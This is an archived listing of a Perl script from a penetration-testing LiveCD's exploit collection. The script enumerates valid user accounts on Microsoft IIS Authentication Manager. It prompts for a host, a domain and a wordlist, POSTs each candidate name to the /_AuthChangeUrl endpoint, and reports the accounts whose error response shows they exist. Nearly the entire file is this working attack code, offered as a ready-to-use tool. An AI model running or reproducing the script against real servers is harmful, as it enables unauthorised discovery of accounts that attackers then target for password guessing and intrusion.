home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / ms-iis-disc.pl < prev    next >
Text File  |  2005-02-12  |  3KB  |  112 lines
  1. ##########################################################################
  2. #################
  3. # Miscrosoft IIS Authentication Manager Discovery Tool - By JeiAr
  4. [http://www.gulftech.org]
  5. ##########################################################################
  6. #################
  7. # This tool is used to find existing user accounts via a dictionary
  8. attack on the Microsoft
  9. # IIS Authentication Manager. More details here
  10. http://www.securityfocus.com/archive/1/8515
  11. ##########################################################################
  12. #################
  13.  
  14. use LWP::UserAgent;
  15.  
  16. ##########################################################################
  17. #################
  18. # Time to create the new LWP User Agent, Clear the screen, And print out
  19. the scripts header
  20. ##########################################################################
  21. #################
  22.  
  23. $ua = new LWP::UserAgent;
  24. $ua->agent("AgentName/0.1 " . $ua->agent);
  25. system('cls');
  26. &header;
  27.  
  28. ##########################################################################
  29. #################
  30. # Gather all user inputted data. Such as the domain name, host and
  31. location of the wordlist
  32. ##########################################################################
  33. #################
  34.  
  35. print "Host: ";
  36. $host=<STDIN>;
  37. chomp $host;
  38. print "Domain: ";
  39. $domain=<STDIN>;
  40. chomp $domain;
  41. print "Account List: ";
  42. $list=<STDIN>;
  43. chomp $list;
  44.  
  45. ##########################################################################
  46. #################
  47. # Opens the wordlist and puts the data into an array. afterward setting
  48. the count variables
  49. ##########################################################################
  50. #################
  51.  
  52. open (DATAFILE, "$list");
  53. @datafile = <DATAFILE>;
  54. chomp(@datafile);
  55. $length = @datafile;
  56. $count = 0;
  57. $found = 0;
  58.  
  59. &space;
  60. print "Verified Accounts\n";
  61. print "-----------------\n";
  62.  
  63. ##########################################################################
  64. #################
  65. # Creates the HTTP request, Checks the responses, then prints out the
  66. username if it exists
  67. ##########################################################################
  68. #################
  69.  
  70. while ($count < $length) {
  71. $account = (@datafile[$count]);
  72. my $req = new HTTP::Request POST => "http://$host/_AuthChangeUrl?";
  73.    $req->content_type('application/x-www-form-urlencoded');
  74.    $req->content("domain=$domain&acct=$account&old=&new=&new2=");
  75. my $res = $ua->request($req);
  76. $pattern = "network password is not correct";  
  77. $_ = $res->content;
  78. if (/$pattern/) {
  79. print "$account\n";
  80.    $found++;
  81.   }
  82.  $count++;
  83. }
  84.  
  85. ##########################################################################
  86. #################
  87. # Thats all folks. Prints out the final details and footer. Rest is just
  88. the subroutines :)
  89. ##########################################################################
  90. #################
  91.  
  92. &space;
  93. &footer;
  94.  
  95. sub header {
  96. print "IIS Auth Manager User Discovery Tool By JeiAr
  97. [http://www.gulftech.org]\n";
  98. print "-------------------------------------------------------------------
  99. ----\n";
  100. }
  101.  
  102. sub footer {
  103. print "Enumeration Results:\n";
  104. print "--------------------\n";
  105. print "Number Of Tries : $length \n";
  106. print "Confirmed Users : $found  \n";
  107. }
  108.  
  109. sub space {
  110. print "\n" x2;
  111. }
  112.